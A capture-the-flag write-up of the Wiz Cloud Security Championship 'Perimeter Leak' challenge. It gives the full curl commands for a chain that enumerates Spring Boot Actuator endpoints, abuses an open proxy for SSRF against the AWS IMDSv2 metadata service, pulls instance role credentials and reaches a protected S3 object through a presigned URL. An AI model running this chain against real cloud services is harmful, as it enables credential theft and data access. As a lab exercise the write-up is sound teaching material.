WriteUp: Cloud Security Championship #1
The Cloud Security Championship organized by Wiz has launched its first challenge. Over the next 12 months, they will be publishing different challenges, each prepared by one of their researchers.
This first challenge is called Perimeter Leak and tells us that we must find a secret in an S3 bucket.
We start the challenge with access to a terminal and a URL of a "Spring Boot Actuator application running on AWS":
Enumeration
We have no previous experience with this technology, but the first thing is always to see what the possible exposure surface is.
We found that we can list the different endpoints of the Spring Boot Actuator at /actuator
:
user@monthly-challenge:~$ curl -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/actuator" | jq .
Output
{
"_links": {
"self": {
"href": "http://127.0.0.1:8080/actuator",
"templated": false
},
"beans": {
"href": "http://127.0.0.1:8080/actuator/beans",
"templated": false
},
"caches": {
"href": "http://127.0.0.1:8080/actuator/caches",
"templated": false
},
"caches-cache": {
"href": "http://127.0.0.1:8080/actuator/caches/{cache}",
"templated": true
},
"health": {
"href": "http://127.0.0.1:8080/actuator/health",
"templated": false
},
"health-path": {
"href": "http://127.0.0.1:8080/actuator/health/{*path}",
"templated": true
},
"info": {
"href": "http://127.0.0.1:8080/actuator/info",
"templated": false
},
"conditions": {
"href": "http://127.0.0.1:8080/actuator/conditions",
"templated": false
},
"configprops": {
"href": "http://127.0.0.1:8080/actuator/configprops",
"templated": false
},
"configprops-prefix": {
"href": "http://127.0.0.1:8080/actuator/configprops/{prefix}",
"templated": true
},
"env": {
"href": "http://127.0.0.1:8080/actuator/env",
"templated": false
},
"env-toMatch": {
"href": "http://127.0.0.1:8080/actuator/env/{toMatch}",
"templated": true
},
"loggers": {
"href": "http://127.0.0.1:8080/actuator/loggers",
"templated": false
},
"loggers-name": {
"href": "http://127.0.0.1:8080/actuator/loggers/{name}",
"templated": true
},
"threaddump": {
"href": "http://127.0.0.1:8080/actuator/threaddump",
"templated": false
},
"metrics-requiredMetricName": {
"href": "http://127.0.0.1:8080/actuator/metrics/{requiredMetricName}",
"templated": true
},
"metrics": {
"href": "http://127.0.0.1:8080/actuator/metrics",
"templated": false
},
"sbom": {
"href": "http://127.0.0.1:8080/actuator/sbom",
"templated": false
},
"sbom-id": {
"href": "http://127.0.0.1:8080/actuator/sbom/{id}",
"templated": true
},
"scheduledtasks": {
"href": "http://127.0.0.1:8080/actuator/scheduledtasks",
"templated": false
},
"mappings": {
"href": "http://127.0.0.1:8080/actuator/mappings",
"templated": false
}
}
}
Testing different endpoints, we found the bucket name as an environment variable in /actuator/env
:
user@monthly-challenge:~$ curl -u ctf:88sPVWyC2P3p https://challenge01.cloud-champions.com/actuator/env | jq .
[...]
"BUCKET": {
"value": "challenge01-470f711",
"origin": "System Environment Property \"BUCKET\""
},
[...]
But we still don't have access.
There is another interesting endpoint /actuator/mappings
where the different request-handling classes configured are listed. The one for /proxy
catches our attention:
user@monthly-challenge:~$ curl https://ctf:[email protected]/actuator/mappings | jq .
{
"predicate": "{ [/proxy], params [url]}",
"handler": "challenge.Application#proxy(String)",
"details": {
"handlerMethod": {
"className": "challenge.Application",
"name": "proxy",
"descriptor": "(Ljava/lang/String;)Ljava/lang/String;"
},
"requestMappingConditions": {
"consumes": [],
"headers": [],
"methods": [],
"params": [
{
"name": "url",
"negated": false
}
],
"patterns": [
"/proxy"
],
"produces": []
}
}
},
Proxy Access
We try to access our blog...
...but the proxy can only be used to access Amazon URLs or IPs.
Could it be that we can directly access the bucket using the proxy?
$ curl -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://challenge01-470f711.s3.amazonaws.com/"
HTTP error: 403 Forbidden
What if we try with a bucket that we know is public?
Knowing that the service is running on AWS, what if we try to access the IMDS (Instance Metadata Service) endpoint?
$ curl -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"
HTTP error: 401 Unauthorized
It seems to be IMDSv2, so we need to first make a PUT
request to get the token.
Which is not a problem since the proxy said it will sent both the headers and the different request types.
$ TOKEN=$(curl -X PUT -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
$ curl -H "X-aws-ec2-metadata-token: $TOKEN" -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
[...]
Let's get the instance credentials:
$ ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/")
$ echo $ROLE_NAME
challenge01-5592368
$ curl -H "X-aws-ec2-metadata-token: $TOKEN" -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME"
{
"Code" : "Success",
"LastUpdated" : "2025-06-30T13:29:21Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA***********",
"SecretAccessKey" : "***********",
"Token" : "***********",
"Expiration" : "2025-06-30T19:57:22Z"
}
$ aws sts get-caller-identity
{
"UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",
"Account": "092297851374",
"Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279"
}
This would probably have triggered an alert somewhere if it were a real scenario 😅.
Bucket Access
We already have credentials, and we know the name of the bucket, let's see what it has:
$ aws s3 ls s3://challenge01-470f711 --recursive
2025-06-18 19:15:24 29 hello.txt
2025-06-17 00:01:49 51 private/flag.txt
$ aws s3 cp s3://challenge01-470f711/hello.txt -
Welcome to the proxy server.
$ aws s3 cp s3://challenge01-470f711/private/flag.txt -
download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden
Is there any policy preventing access?
$ aws s3api get-bucket-policy --bucket challenge01-470f711 | jq .
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::challenge01-470f711/private/*",
"Condition": {
"StringNotEquals": {
"aws:SourceVpce": "vpce-0dfd8b6aa1642a057"
}
}
}
]
}
The instance running the proxy probably has access to the VPC endpoint, but we still need to generate a presigned URL for it to have permission to access the object.
$ PRESIGNEDURL=$(aws s3 presign s3://challenge01-470f711/private/flag.txt | jq -R -r @uri)
$ echo $PRESIGNEDURL
https%3A%2F%2Fchallenge01-470f711.s3.amazonaws.com%2Fprivate%2Fflag.txt%3FX-Amz-Algorithm%3DAWS4-HMAC-SHA256%26X-Amz-Credential%[REDACTED]
We need to use @uri to encode the URL and pass it as a parameter, otherwise the request fails.
curl -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=https%3A%2F%2Fchallenge01-470f711.s3.amazonaws.com%2Fprivate%2Fflag.txt%3FX-Amz-Algorithm%3DAWS4-HMAC-SHA256%26X-Amz-Credential%[REDACTED]"
The flag is: WIZ_CTF_[REDACTED]
And we have it!
Conclusion
This first challenge of the Wiz Cloud Security Championship has been an excellent example of a realistic vulnerability chain in a Cloud environment.
As we recently commented on LinkedIn, SSRFs are still relevant. 😉
Looking forward to seeing what awaits us in the next challenge.
Saludos, and may the force be with you.